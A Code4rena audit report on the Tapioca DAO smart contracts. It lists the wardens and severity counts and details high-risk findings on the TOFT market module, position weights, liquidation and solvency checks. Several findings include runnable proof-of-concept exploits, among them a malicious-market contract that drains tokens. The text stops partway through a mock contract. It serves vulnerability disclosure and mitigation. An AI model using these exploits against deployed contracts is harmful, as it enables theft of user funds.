Tapioca DAO
Findings & Analysis Report

2023-11-16

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Tapioca DAO smart contract system written in Solidity. The audit took place between July 5—August 4 2023.

Wardens

134 Wardens contributed reports to the Tapioca DAO:

  1. GalloDaSballo
  2. peakbolt
  3. KIntern_NA (duc and TrungOre)
  4. windhustler
  5. carrotsmuggler
  6. 0x73696d616f
  7. zzzitron
  8. kaden
  9. cergyk
  10. ItsNio
  11. rvierdiiev
  12. Ack (plotchy, popular00, and igorline)
  13. Vagner
  14. dirk_y
  15. xuwinnie
  16. 0xStalin
  17. Koolex
  18. bin2chen
  19. ladboy233
  20. SaeedAlipoor01988
  21. 0xRobocop
  22. mojito_auditor
  23. HE1M
  24. Sathish9098
  25. Madalad
  26. 0xSmartContract
  27. zzebra83
  28. 0xWaitress
  29. chaduke
  30. unsafesol (Angry_Mustache_Man and devblixt)
  31. n1punp
  32. 0xnev
  33. 0x007
  34. c7e7eff
  35. hunter_w3b
  36. K42
  37. JCK
  38. minhtrng
  39. cryptonue
  40. ayeslick
  41. 7e1e
  42. erebus
  43. LosPollosHermanos (jc1 and scaraven)
  44. 0xTheC0der
  45. BPZ (Bitcoinfever244, PrasadLak, and zinc42)
  46. adeolu
  47. glcanvas
  48. zhaojie
  49. Rolezn
  50. naman1778
  51. ReyAdmirado
  52. dharma09
  53. 0xfuje
  54. Ruhum
  55. jasonxiale
  56. plainshift (thank_you and surya)
  57. 0xrugpull_detector
  58. jaraxxus
  59. Udsen
  60. wahedtalash77
  61. mgf15
  62. kodyvim
  63. RedOneN
  64. Kaysoft
  65. kutugu
  66. Nyx
  67. ltyu
  68. rokinot
  69. 0xG0P1
  70. andy
  71. hassan-truscova
  72. nadin
  73. gizzy
  74. Breeje
  75. DelerRH
  76. hendrik
  77. Raihan
  78. paweenp
  79. Brenzee
  80. vagrant
  81. ak1
  82. clash
  83. marcKn
  84. tsvetanovv
  85. Limbooo
  86. SY_S
  87. petrichor
  88. ybansal2403
  89. 0xhex
  90. 0xta
  91. flutter_developer
  92. SAQ
  93. xfu
  94. LeoS
  95. IllIllI
  96. wangxx2026
  97. dontonka
  98. hack3r-0m
  99. pks_
  100. offside0011
  101. CrypticShepherd
  102. ACai
  103. 0xSky
  104. ck
  105. iglyx
  106. John_Femi
  107. Walter
  108. Deekshith99
  109. SPYBOY
  110. JP_Courses
  111. Z3R0
  112. audityourcontracts
  113. l3r0ux
  114. Tatakae (SaharDevep and mahdikarimi)
  115. kaveyjoe
  116. hals
  117. SooYa
  118. CryptoYulia
  119. ABA
  120. catwhiskeys
  121. rumen
  122. 0xadrii
  123. Topmark
  124. Oxsadeeq
  125. TiesStevelink

This audit was judged by LSDan.

Final report assembled by PaperParachute.

Summary

The C4 analysis yielded an aggregated total of 159 unique vulnerabilities. Of these vulnerabilities, 60 received a risk rating in the category of HIGH severity and 99 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 79 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 19 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Tapioca DAO repository, and is composed of 68 smart contracts written in the Solidity programming language and includes 13291 lines of Solidity code.

In addition to the known issues identified by the project team, a Code4rena bot race was conducted at the start of the audit. The winning bot, IllIllI-bot from warden IllIllI, generated the Automated Findings report and all findings therein were classified as out of scope.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

  • Malicious Input Handling
  • Escalation of privileges
  • Arithmetic
  • Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (60)

[H-01] TOFT in (m)TapiocaOft contracts can be stolen by calling removeCollateral() with a malicious removeParams.market

Submitted by 0x73696d616f

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L190

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L516

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L230-L231

The TOFT available in the TapiocaOFT contract can be stolen when calling removeCollateral() with a malicious market.

Proof of Concept

(m)TapiocaOFT inherit BaseTOFT, which has a function removeCollateral() that accepts a market address as an argument. This function calls _lzSend() internally on the source chain, which then is forwarded to the destination chain by the relayer and calls lzReceive().

lzReceive() reaches _nonBlockingLzReceive() in BaseTOFT and delegate calls to the BaseTOFTMarketModule on function remove(). This function approves TOFT to the removeParams.market and then calls function removeCollateral() of the provided market. There is no validation whatsoever in this address, such that a malicious market can be provided that steals all funds, as can be seen below:

function remove(bytes memory _payload) public {
    ...
    approve(removeParams.market, removeParams.share); // no validation prior to this 2 calls
    IMarket(removeParams.market).removeCollateral(
        to,
        to,
        removeParams.share
    );
    ...
}

The following POC in Foundry demonstrates this vulnerability, the attacker is able to steal all TOFT in mTapiocaOFT:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {Test, console} from "forge-std/Test.sol";

import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol";
import {BaseTOFTMarketModule} from "contracts/tOFT/modules/BaseTOFTMarketModule.sol";

import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";
import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol";
import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol";
import {ITapiocaOFT} from "tapioca-periph/contracts/interfaces/ITapiocaOFT.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract MaliciousMarket {
    address public immutable attacker;
    address public immutable tapiocaOft;

    constructor(address attacker_, address tapiocaOft_) {
        attacker = attacker_;
        tapiocaOft = tapiocaOft_;
    } 

    function removeCollateral(address, address, uint256 share) external {
        IERC20(tapiocaOft).transferFrom(msg.sender, attacker, share);
    }
}

contract TapiocaOFTPOC is Test {
    address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675;
    uint16 internal constant PT_MARKET_REMOVE_COLLATERAL = 772;

    function test_POC_StealAllAssetsInTapiocaOFT_RemoveCollateral_MaliciousMarket()
        public
    {
        vm.createSelectFork("https://eth.llamarpc.com");

        address marketModule_ = address(
            new BaseTOFTMarketModule(
                address(LZ_ENDPOINT),
                address(0),
                IYieldBoxBase(address(2)),
                "SomeName",
                "SomeSymbol",
                18,
                block.chainid
            )
        );

        TapiocaOFT tapiocaOft_ = new TapiocaOFT(
            LZ_ENDPOINT,
            address(0),
            IYieldBoxBase(address(3)),
            "SomeName",
            "SomeSymbol",
            18,
            block.chainid,
            payable(address(1)),
            payable(address(2)),
            payable(marketModule_),
            payable(address(4))
        );

        // TOFT is acummulated in the TapiocaOft contract and can be stolen by the malicious market
        // for example, strategyDeposit of the BaseTOFTMarketModule credits TOFT to tapiocaOft
        uint256 tOftInTapiocaOft_ = 1 ether;
        deal(address(tapiocaOft_), address(tapiocaOft_), tOftInTapiocaOft_);

        address attacker_ = makeAddr("attacker");
        deal(attacker_, 1 ether); // lz fees

        uint16 lzDstChainId_ = 102;
        address zroPaymentAddress_ = address(0);
        ICommonData.IWithdrawParams memory withdrawParams_;
        ITapiocaOFT.IRemoveParams memory removeParams_;
        removeParams_.share = tOftInTapiocaOft_;
        removeParams_.market = address(new MaliciousMarket(attacker_, address(tapiocaOft_)));
        ICommonData.IApproval[] memory approvals_;
        bytes memory adapterParams_;

        tapiocaOft_.setTrustedRemoteAddress(lzDstChainId_, abi.encodePacked(tapiocaOft_));

        vm.prank(attacker_);
        tapiocaOft_.removeCollateral{value: 1 ether}(
            attacker_,
            attacker_,
            lzDstChainId_,
            zroPaymentAddress_,
            withdrawParams_,
            removeParams_,
            approvals_,
            adapterParams_
        );

        bytes memory lzPayload_ = abi.encode(
            PT_MARKET_REMOVE_COLLATERAL,
            attacker_,
            attacker_,
            bytes32(bytes20(attacker_)),
            removeParams_,
            withdrawParams_,
            approvals_
        );

        vm.prank(LZ_ENDPOINT);
        tapiocaOft_.lzReceive(lzDstChainId_, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_);
        assertEq(tapiocaOft_.balanceOf(attacker_), tOftInTapiocaOft_);
    }
}

Tools Used

Vscode, Foundry

Whitelist the removeParams.market address to prevent users from providing malicious markets.

0xRektora (Tapioca) confirmed


[H-02] exitPosition in TapiocaOptionBroker may incorrectly inflate position weights

Submitted by ItsNio, also found by KIntern_NA

Users who participate() and place stakes with large magnitudes may have their weight removed prematurely from pool.cumulative, hence causing the weight logic of participation to be wrong. pool.cumulative will have an incomplete image of the actual pool hence allowing future users to have divergent power when they should not. In particular, this occurs during the exitPosition() function.

Proof of Concept

This vulnerability stems from exitPosition() using the current pool.AverageMagnitude instead of the respective magnitudes of the user’s weights to update pool.cumulative on line 316. Hence, when users call exitPosition(), the amount that pool.cumulative is updated but may not be representative of the weight of the user’s input.

Imagine if we have three users, Alice, Bob, and Charlie who all decide to call participate(). Alice calls participate() with a smaller amount and a smaller time, hence having a weight of 10. Bob calls participate() with a larger amount and a larger time, hence having a weight of 50. Charlie calls participate() with a weight of 20.

Scenario

  • Alice calls participate() first at time 0 with the aforementioned amount and time. The pool.cumulative is now 10 and the pool.AverageMagnitude is 10 as well. Alice’s position will expire at time 10.
  • Bob calls participate() at time 5. The pool.cumulative is now 10 + 50 = 60 and the pool.AverageMagnitude is 50.
  • Alice calls exitPosition() at time 10. pool.cumulative is 60, but pool.AverageMagnitude is still 50. Hence, pool.cumulative will be decreased by 50, even though the weight of Alice’s input is 10.
  • Charlie calls participate with weight 20. Charlie will have divergent power in the pool with both Bob and Charlie, since 20 > pool.cumulative (10).

If Alice does not participate at all, Charlie will not have divergent power in a pool with Bob and Charlie, since the pool.cumulative = Bob’s weight = 50 > Charlie’s weight (20).

We have provided a test to demonstrate the pool.cumulative inflation. Copy the following code intotap-token-audit/test/oTAP/tOB.test.ts as one of the tests.

it('POC', async () => {
        const {
            signer,
            tOLP,
            tOB,
            tapOFT,
            sglTokenMock,
            sglTokenMockAsset,
            yieldBox,
            oTAP,
        } = await loadFixture(setupFixture);

        // Setup tOB
        await tOB.oTAPBrokerClaim();
        await tapOFT.setMinter(tOB.address);

        // Setup - register a singularity, mint and deposit in YB, lock in tOLP
        const amount = 3e10;
        const lockDurationA = 10;
        const lockDurationB = 100;
        await tOLP.registerSingularity(
            sglTokenMock.address,
            sglTokenMockAsset,
            0,
        );

        await sglTokenMock.freeMint(amount);
        await sglTokenMock.approve(yieldBox.address, amount);
        await yieldBox.depositAsset(
            sglTokenMockAsset,
            signer.address,
            signer.address,
            amount,
            0,
        );

        const ybAmount = await yieldBox.toAmount(
            sglTokenMockAsset,
            await yieldBox.balanceOf(signer.address, sglTokenMockAsset),
            false,
        );
        await yieldBox.setApprovalForAll(tOLP.address, true);
        //A (short less impact)
        console.log(ybAmount);
        await tOLP.lock(
            signer.address,
            sglTokenMock.address,
            lockDurationA,
            ybAmount.div(100),
        );
        //B (long, big impact)
        await tOLP.lock(
            signer.address,
            sglTokenMock.address,
            lockDurationB,
            ybAmount.div(2),
        );
        const tokenID = await tOLP.tokenCounter();
        const snapshot = await takeSnapshot();
        console.log("A Duration: ", lockDurationA, " B Duration: ", lockDurationB);
        // Just A Participate
        console.log("Just A participation");
        await tOLP.approve(tOB.address, tokenID.sub(1));
        await tOB.participate(tokenID.sub(1));
        const participationA = await tOB.participants(tokenID.sub(1));
        const oTAPTknID = await oTAP.mintedOTAP();
        await time.increase(lockDurationA);
        const prevPoolState = await tOB.twAML(sglTokenMockAsset);
        console.log("[B4] Just A Cumulative: ", await prevPoolState.cumulative);
        console.log("[B4] Just A Average: ", participationA.averageMagnitude);
        await oTAP.approve(tOB.address, oTAPTknID);
        await tOB.exitPosition(oTAPTknID);
        console.log("Exit A position");
        const newPoolState = await tOB.twAML(sglTokenMockAsset);
        console.log("[A4] Just A Cumulative: ", await newPoolState.cumulative);
        console.log("[A4] Just A Average: ", await participationA.averageMagnitude);

        //Both Participations
        console.log();
        console.log("Run both participation---");
        const ctime1 = new Date();
        console.log("Time: ", ctime1);
        //A and B Participate
        await snapshot.restore();
        //Before everything
        const initPoolState = await tOB.twAML(sglTokenMockAsset);
        console.log("[IN] Initial Cumulative: ", await initPoolState.cumulative);
        //First participate A
        await tOLP.approve(tOB.address, tokenID.sub(1));
        await tOB.participate(tokenID.sub(1));
        const xparticipationA = await tOB.participants(tokenID.sub(1));
        const ATknID = await oTAP.mintedOTAP();
        console.log("Participate A (smaller weight)");
        console.log("[ID] A Token ID: ", ATknID);
        const xprevPoolState = await tOB.twAML(sglTokenMockAsset);
        console.log("[B4] Both A Cumulative: ", await xprevPoolState.cumulative);
        console.log("[B4] Both A Average: ", await xparticipationA.averageMagnitude);
        console.log();

        //Time skip to half A's duration
        await time.increase(5);
        const ctime2 = new Date();
        console.log("Participate B (larger weight), Time(+5): ", ctime2);

        //Participate B
        await tOLP.approve(tOB.address, tokenID);
        await tOB.participate(tokenID);
        const xparticipationB = await tOB.participants(tokenID);
        const BTknID = await oTAP.mintedOTAP();
        console.log("[ID] B Token ID: ", ATknID);
        const xbothPoolState = await tOB.twAML(sglTokenMockAsset);
        console.log("[B4] Both AB Cumulative: ", await xbothPoolState.cumulative);
        console.log("[B4] Both B Average: ", await xparticipationB.averageMagnitude);
        
        //Time skip end A
        await time.increase(6);
        await oTAP.approve(tOB.address, ATknID);
        await tOB.exitPosition(ATknID);
        const exitAPoolState = await tOB.twAML(sglTokenMockAsset);
        const ctime3 = new Date();
        console.log();
        console.log("Exit A (Dispraportionate Weight, Time(+6 Expire A): ", ctime3);
        console.log("[!X!] Just B Cumulative: ", await exitAPoolState.cumulative);
        console.log("[A4] Just B Average: ", xparticipationB.averageMagnitude);


        //TIme skip end B
        await time.increase(lockDurationB);
        await oTAP.approve(tOB.address, BTknID);
        await tOB.exitPosition(BTknID);
        const exitBPoolState = await tOB.twAML(sglTokenMockAsset);
        const ctime4 = new Date();
        console.log("Exit B, Time(+100 Expire B): ", ctime4);
        console.log("[A4] END Cumulative: ", await exitBPoolState.cumulative);

    });

This test runs the aforementioned scenario.

Expected Output:

BigNumber { value: "30000000000" }
A Duration:  10  B Duration:  100
Just A participation
[B4] Just A Cumulative:  BigNumber { value: "10" }
[B4] Just A Average:  BigNumber { value: "10" }
Exit A position
[A4] Just A Cumulative:  BigNumber { value: "0" }
[A4] Just A Average:  BigNumber { value: "10" }

Run both participation---
Time:  2023-08-03T21:40:52.700Z
[IN] Initial Cumulative:  BigNumber { value: "0" }
Participate A (smaller weight)
[ID] A Token ID:  BigNumber { value: "1" }
[B4] Both A Cumulative:  BigNumber { value: "10" }
[B4] Both A Average:  BigNumber { value: "10" }

Participate B (larger weight), Time(+5):  2023-08-03T21:40:52.801Z
[ID] B Token ID:  BigNumber { value: "1" }
[B4] Both AB Cumulative:  BigNumber { value: "60" }
[B4] Both B Average:  BigNumber { value: "50" }

Exit A (Dispraportionate Weight, Time(+6 Expire A):  2023-08-03T21:40:52.957Z
[!X!] Just B Cumulative:  BigNumber { value: "10" }
[A4] Just B Average:  BigNumber { value: "50" }
Exit B, Time(+100 Expire B):  2023-08-03T21:40:53.029Z
[A4] END Cumulative:  BigNumber { value: "0" }
    ✔ POC (1077ms) 

The POC is split into two parts:

The first part starting with Just A Participation is when just A enters and exits. This is correct, with the pool.cumulative increasing by 10 (the weight of A) and then being decreased by 10 when A exits.

The second part starting with Run both participation--- describes the scenario mentioned by the bullet points. In particular, the pool.cumulative starts as 0 ([IN] Initial Cumulative).

Then, A enters the pool, and the pool.cumulative is increased to 10 ([B4] Both A Cumulative) similar to the first part.

Then, B enters the pool, before A exits. B has a weight of 50, thus the pool.cumulativeincreases to 60 ([B4] Both AB Cumulative).

The bug can be seen after the line beginning with [!X!]. The pool.cumulative labeled by “Just B Cumulative” is decreased by 60 - 10 = 50 when A exits, although the weight of A is only 10.

There may be a need to store weights at the time of adding a weight instead of subtracting the last computed weight in exitPosition(). For example, when Alice calls participate(), the weight at that time is stored and removed when exitPosition() is called.

0xRektora (Tapioca) confirmed


[H-03] The amount of debt removed during liquidation may be worth more than the account’s collateral

Submitted by ItsNio

The contract decreases user’s debts but may not take the full worth in collateral from the user, leading to the contract losing potential funds from the missing collateral.

Proof of concept

During the liquidate() function call, the function _updateBorrowAndCollateralShare() is eventually invoked. This function liquidates a user’s debt and collateral based on the value of the collateral they own.

In particular, the equivalent amount of debt, availableBorrowPart is calculated from the user’s collateral on line 225 through the computeClosingFactor() function call.

Then, an additional fee through the liquidationBonusAmount is applied to the debt, which is then compared to the user’s debt on line 240. The minimum of the two is assigned borrowPart, which intuitively means the maximum amount of debt that can be removed from the user’s debt.

borrowPart is then increased by a bonus through liquidationMultiplier, and then converted to generate collateralShare, which represents the amount of collateral equivalent in value to borrowPart (plus some fees and bonus).

This new collateralShare may be more than the collateral that the user owns. In that case, the collateralShare is simply decreased to the user’s collateral.

collateralShare is then removed from the user’s collateral.

The problem lies in that although the collateralShare is equivalent to the borrowPart, or the debt removed from the user’s account, it could be worth more than the collateral that the user owns in the first place. Hence, the contract loses out on funds, as debt is removed for less than it is actually worth.

To demonstrate, we provide a runnable POC.

Preconditions

... 
if (collateralShare > userCollateralShare[user]) {
        require(false, "collateralShare and borrowPart not worth the same"); //@audit add this line
        collateralShare = userCollateralShare[user];
    }
    userCollateralShare[user] -= collateralShare;
...

Add the require statement to line 261. This require statement essentially reverts the contract when the if condition satisfies. The if condition holds true when the collateralShare is greater that the user’s collateral, which is the target bug.

Once the changes have been made, add the following test into the singularity.test.ts test in tapioca-bar-audit/test

Code

it('POC', async () => {
            const {
                usdc,
                wbtc,
                yieldBox,
                wbtcDepositAndAddAsset,
                usdcDepositAndAddCollateralWbtcSingularity,
                eoa1,
                approveTokensAndSetBarApproval,
                deployer,
                wbtcUsdcSingularity,
                multiSwapper,
                wbtcUsdcOracle,
                __wbtcUsdcPrice,
            } = await loadFixture(register);

            const assetId = await wbtcUsdcSingularity.assetId();
            const collateralId = await wbtcUsdcSingularity.collateralId();
            const wbtcMintVal = ethers.BigNumber.from((1e8).toString()).mul(1);
            const usdcMintVal = wbtcMintVal
                .mul(1e10)
                .mul(__wbtcUsdcPrice.div((1e18).toString()));

            // We get asset
            await wbtc.freeMint(wbtcMintVal);
            await usdc.connect(eoa1).freeMint(usdcMintVal);

            // We approve external operators
            await approveTokensAndSetBarApproval();
            await approveTokensAndSetBarApproval(eoa1);

            // We lend WBTC as deployer
            await wbtcDepositAndAddAsset(wbtcMintVal);
            expect(
                await wbtcUsdcSingularity.balanceOf(deployer.address),
            ).to.be.equal(await yieldBox.toShare(assetId, wbtcMintVal, false));

            // We deposit USDC collateral
            await usdcDepositAndAddCollateralWbtcSingularity(usdcMintVal, eoa1);
            expect(
                await wbtcUsdcSingularity.userCollateralShare(eoa1.address),
            ).equal(await yieldBox.toShare(collateralId, usdcMintVal, false));

            // We borrow 74% collateral, max is 75%

            console.log("Collateral amt: ", usdcMintVal);
            const wbtcBorrowVal = usdcMintVal
                .mul(74)
                .div(100)
                .div(__wbtcUsdcPrice.div((1e18).toString()))
                .div(1e10);
            console.log("WBTC borrow val: ", wbtcBorrowVal);
            console.log("[$] Original price: ", __wbtcUsdcPrice.div((1e18).toString()));
            await wbtcUsdcSingularity
                .connect(eoa1)
                .borrow(eoa1.address, eoa1.address, wbtcBorrowVal.toString());
            await yieldBox
                .connect(eoa1)
                .withdraw(
                    assetId,
                    eoa1.address,
                    eoa1.address,
                    wbtcBorrowVal,
                    0,
                );

            const data = new ethers.utils.AbiCoder().encode(['uint256'], [1]);
            // Can't liquidate
            await expect(
                wbtcUsdcSingularity.liquidate(
                    [eoa1.address],
                    [wbtcBorrowVal],
                    multiSwapper.address,
                    data,
                    data,
                ),
            ).to.be.reverted;
            console.log("Price Drop: 120%");
            const priceDrop = __wbtcUsdcPrice.mul(40).div(100);
            await wbtcUsdcOracle.set(__wbtcUsdcPrice.add(priceDrop));
            await wbtcUsdcSingularity.updateExchangeRate()
            console.log("Running liquidation... ");
            await expect(
                wbtcUsdcSingularity.liquidate(
                    [eoa1.address],
                    [wbtcBorrowVal],
                    multiSwapper.address,
                    data,
                    data,
                ),
            ).to.be.revertedWith("collateralShare and borrowPart not worth the same");
            console.log("[*] Reverted with reason: collateralShare and borrowPart not worth the same [Bug]");
            //console.log("Collateral Share after liquidation: ", (await wbtcUsdcSingularity.userCollateralShare(eoa1.address)));
            //console.log("Borrow part after liquidation: ", (await wbtcUsdcSingularity.userBorrowPart(eoa1.address)));
        });

Expected Result

Collateral amt:  BigNumber { value: "10000000000000000000000" }
WBTC borrow val:  BigNumber { value: "74000000" }
[$] Original price:  BigNumber { value: "10000" }
Price Drop: 120%
Running liquidation... 
[*] Reverted with reason: collateralShare and borrowPart not worth the same [Bug]
      ✔ POC (2289ms)

As demonstrated, the function call reverts due to the require statement added in the preconditions.

One potential mitigation for this issue would be to calculate the borrowPart depending on the existing users’ collateral factoring in the fees and bonuses. The collateralShare with the fees and bonuses should not exceed the user’s collateral.

cryptotechmaker (Tapioca) confirmed


[H-04] Incorrect solvency check because it multiplies collateralizationRate by share not amount when calculating liquidation threshold

Submitted by Koolex

When a Collateralized Debt Position (CDP) reaches that liquidation threshold, it becomes eligible for liquidation and anyone can repay a position in exchange for a portion of the collateral. Market._isSolvent is used to check if the user is solvent. if not, then it can be liquidated. Here is the method body:

function _isSolvent(
	address user,
	uint256 _exchangeRate
) internal view returns (bool) {
	// accrue must have already been called!
	uint256 borrowPart = userBorrowPart[user];
	if (borrowPart == 0) return true;
	uint256 collateralShare = userCollateralShare[user];
	if (collateralShare == 0) return false;

	Rebase memory _totalBorrow = totalBorrow;

	return
		yieldBox.toAmount(
			collateralId,
			collateralShare *
				(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
				collateralizationRate,
			false
		) >=
		// Moved exchangeRate here instead of dividing the other side to preserve more precision
		(borrowPart * _totalBorrow.elastic * _exchangeRate) /
			_totalBorrow.base;
}

Code link

The issue is that the collateralizationRate is multiplied by collateralShare (with precision constants) then converted to amount. This is incorrect, the collateralizationRate sholud be used with amounts and not shares. Otherwise, we get wrong results.

yieldBox.toAmount(
			collateralId,
			collateralShare *
				(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
				collateralizationRate,
			false
		)

Please note that when using shares it is not in favour of the protocol, so amounts should be used instead. The only case where this is ok, is when the share/amount ratio is 1:1 which can not be, because totalAmount always get +1 and totalShares +1e8 to prevent 1:1 ratio type of attack.

    function _toAmount(
        uint256 share,
        uint256 totalShares_,
        uint256 totalAmount,
        bool roundUp
    ) internal pure returns (uint256 amount) {
        // To prevent reseting the ratio due to withdrawal of all shares, we start with
        // 1 amount/1e8 shares already burned. This also starts with a 1 : 1e8 ratio which
        // functions like 8 decimal fixed point math. This prevents ratio attacks or inaccuracy
        // due to 'gifting' or rebasing tokens. (Up to a certain degree)
        totalAmount++;
        totalShares_ += 1e8;

Code link

Moreover, in the method _computeMaxAndMinLTVInAsset which is supposed to returns the min and max LTV for user in asset price. Amount is used and not share. Here is the code:

	function _computeMaxAndMinLTVInAsset(
		uint256 collateralShare,
		uint256 _exchangeRate
	) internal view returns (uint256 min, uint256 max) {
		uint256 collateralAmount = yieldBox.toAmount(
			collateralId,
			collateralShare,
			false
		);

		max = (collateralAmount * EXCHANGE_RATE_PRECISION) / _exchangeRate;
		min = (max * collateralizationRate) / FEE_PRECISION;
	}

Code Link

I’ve set this to high severity because solvency check is a crucial part of the protocol. In short, we have :

  1. Inconsistency across the protocol
  2. Inaccuracy of calculating the liquidation threshold
  3. Not in favour of the protocol

Note: this is also applicable for ohter methods. For example, Market._computeMaxBorrowableAmount.

Proof of Concept

  • When you run the PoC below, you will get the following results:
[PASS] test_borrow_repay() (gas: 118001)
Logs:
  ===BORROW===
  UserBorrowPart: 745372500000000000000
  Total Borrow Base: 745372500000000000000
  Total Borrow Elastic: 745372500000000000000
  ===356 days passed===
  Total Borrow Elastic: 749089151896269477984
  ===Solvency#1 => multiply by share===
  A: 749999999999925000000750007499999924999
  B: 749089151896269477984000000000000000000
  ===Solvency#2 => multiply by amount===
  A: 749999999999925000000750000000000000000
  B: 749089151896269477984000000000000000000
  ===Result===
  Solvency#1.A != Solvency#2.A

Test result: ok. 1 passed; 0 failed; finished in 16.69ms

As you can see, numbers are not equal, and when using shares it is not in favour of the protocol, so amount should be used instead.

  • Code: Please note some lines in borrow method were commented out for simplicity. It is irrelevant anyway.
  • _toAmount copied from YieldBoxRebase
// PoC => BIGBANG - Solvency Check Inaccuracy
// Command => forge test -vv
pragma solidity >=0.8.4 <0.9.0;

import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";

import {DSTest} from "ds-test/test.sol";
struct AccrueInfo {
    uint64 debtRate;
    uint64 lastAccrued;
}

struct Rebase {
    uint128 elastic;
    uint128 base;
}

/// @notice A rebasing library using overflow-/underflow-safe math.
library RebaseLibrary {
    /// @notice Calculates the base value in relationship to `elastic` and `total`.
    function toBase(
        Rebase memory total,
        uint256 elastic,
        bool roundUp
    ) internal pure returns (uint256 base) {
        if (total.elastic == 0) {
            base = elastic;
        } else {
            base = (elastic * total.base) / total.elastic;
            if (roundUp && (base * total.elastic) / total.base < elastic) {
                base++;
            }
        }
    }

    /// @notice Calculates the elastic value in relationship to `base` and `total`.
    function toElastic(
        Rebase memory total,
        uint256 base,
        bool roundUp
    ) internal pure returns (uint256 elastic) {
        if (total.base == 0) {
            elastic = base;
        } else {
            elastic = (base * total.elastic) / total.base;
            if (roundUp && (elastic * total.base) / total.elastic < base) {
                elastic++;
            }
        }
    }

    /// @notice Add `elastic` to `total` and doubles `total.base`.
    /// @return (Rebase) The new total.
    /// @return base in relationship to `elastic`.
    function add(
        Rebase memory total,
        uint256 elastic,
        bool roundUp
    ) internal pure returns (Rebase memory, uint256 base) {
        base = toBase(total, elastic, roundUp);
        total.elastic += uint128(elastic);
        total.base += uint128(base);
        return (total, base);
    }

    /// @notice Sub `base` from `total` and update `total.elastic`.
    /// @return (Rebase) The new total.
    /// @return elastic in relationship to `base`.
    function sub(
        Rebase memory total,
        uint256 base,
        bool roundUp
    ) internal pure returns (Rebase memory, uint256 elastic) {
        elastic = toElastic(total, base, roundUp);
        total.elastic -= uint128(elastic);
        total.base -= uint128(base);
        return (total, elastic);
    }

    /// @notice Add `elastic` and `base` to `total`.
    function add(
        Rebase memory total,
        uint256 elastic,
        uint256 base
    ) internal pure returns (Rebase memory) {
        total.elastic += uint128(elastic);
        total.base += uint128(base);
        return total;
    }

    /// @notice Subtract `elastic` and `base` to `total`.
    function sub(
        Rebase memory total,
        uint256 elastic,
        uint256 base
    ) internal pure returns (Rebase memory) {
        total.elastic -= uint128(elastic);
        total.base -= uint128(base);
        return total;
    }

    /// @notice Add `elastic` to `total` and update storage.
    /// @return newElastic Returns updated `elastic`.
    function addElastic(
        Rebase storage total,
        uint256 elastic
    ) internal returns (uint256 newElastic) {
        newElastic = total.elastic += uint128(elastic);
    }

    /// @notice Subtract `elastic` from `total` and update storage.
    /// @return newElastic Returns updated `elastic`.
    function subElastic(
        Rebase storage total,
        uint256 elastic
    ) internal returns (uint256 newElastic) {
        newElastic = total.elastic -= uint128(elastic);
    }
}

contract BIGBANG_MOCK {
    using RebaseLibrary for Rebase;
    uint256 public collateralizationRate = 75000; // 75% // made public to access it from test contract
    uint256 public liquidationMultiplier = 12000; //12%
    uint256 public constant FEE_PRECISION = 1e5; // made public to access it from test contract
    uint256 public EXCHANGE_RATE_PRECISION = 1e18; //made public to access it from test contract

    uint256 public borrowOpeningFee = 50; //0.05%
    Rebase public totalBorrow;
    uint256 public totalBorrowCap;
    AccrueInfo public accrueInfo;

    /// @notice borrow amount per user
    mapping(address => uint256) public userBorrowPart;

    uint256 public USDO_balance; // just to track USDO balance of BigBang

    function _accrue() public {
        // made public so we can call it from the test contract
        AccrueInfo memory _accrueInfo = accrueInfo;
        // Number of seconds since accrue was called
        uint256 elapsedTime = block.timestamp - _accrueInfo.lastAccrued;
        if (elapsedTime == 0) {
            return;
        }
        //update debt rate // for simplicity we return bigBangEthDebtRate which is 5e15
        uint256 annumDebtRate = 5e15; // getDebtRate(); // 5e15 for eth. Check Penrose.sol Line:131
        _accrueInfo.debtRate = uint64(annumDebtRate / 31536000); //per second

        _accrueInfo.lastAccrued = uint64(block.timestamp);

        Rebase memory _totalBorrow = totalBorrow;

        uint256 extraAmount = 0;

        // Calculate fees
        extraAmount =
            (uint256(_totalBorrow.elastic) *
                _accrueInfo.debtRate *
                elapsedTime) /
            1e18;
        _totalBorrow.elastic += uint128(extraAmount);

        totalBorrow = _totalBorrow;
        accrueInfo = _accrueInfo;

        // emit LogAccrue(extraAmount, _accrueInfo.debtRate); // commented out since it irrelevant
    }

    function totalBorrowElastic() public view returns (uint128) {
        return totalBorrow.elastic;
    }

    function totalBorrowBase() public view returns (uint128) {
        return totalBorrow.base;
    }

    function _borrow(
        address from,
        address to,
        uint256 amount
    ) external returns (uint256 part, uint256 share) {
